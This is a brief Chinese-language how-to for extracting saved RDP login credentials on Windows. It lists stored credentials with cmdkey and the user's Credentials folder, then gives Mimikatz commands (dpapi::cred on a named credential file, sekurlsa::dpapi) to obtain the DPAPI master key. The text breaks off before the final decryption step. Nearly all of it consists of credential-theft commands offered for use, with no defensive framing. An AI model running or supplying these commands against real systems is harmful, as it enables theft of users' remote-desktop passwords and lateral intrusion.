当用户在RDP登录时点击了保存登录凭据,获取凭据可以使用以下几种方法
查看是否存在RDP凭据
#查看mstsc的连接记录
cmdkey /list
#查找本地的Credentials
dir /a %userprofile%\appdata\local\microsoft\credentials\*
Mimikatz
存在的话,使用Mimikatz,执行以下命令,记录guidMasterKey值
mimikatz.exe "privilege::debug" "dpapi::cred /in:C:\Users\administrator.TEST\appdata\local\microsoft\credentials\AFCD2DF5CFF3011965E57ABB0ED64240"
接着,再执行如下命令,找到guidMasterKey对应的MasterKey
mimikatz.exe "privilege::debug" "sekurlsa::dpapi"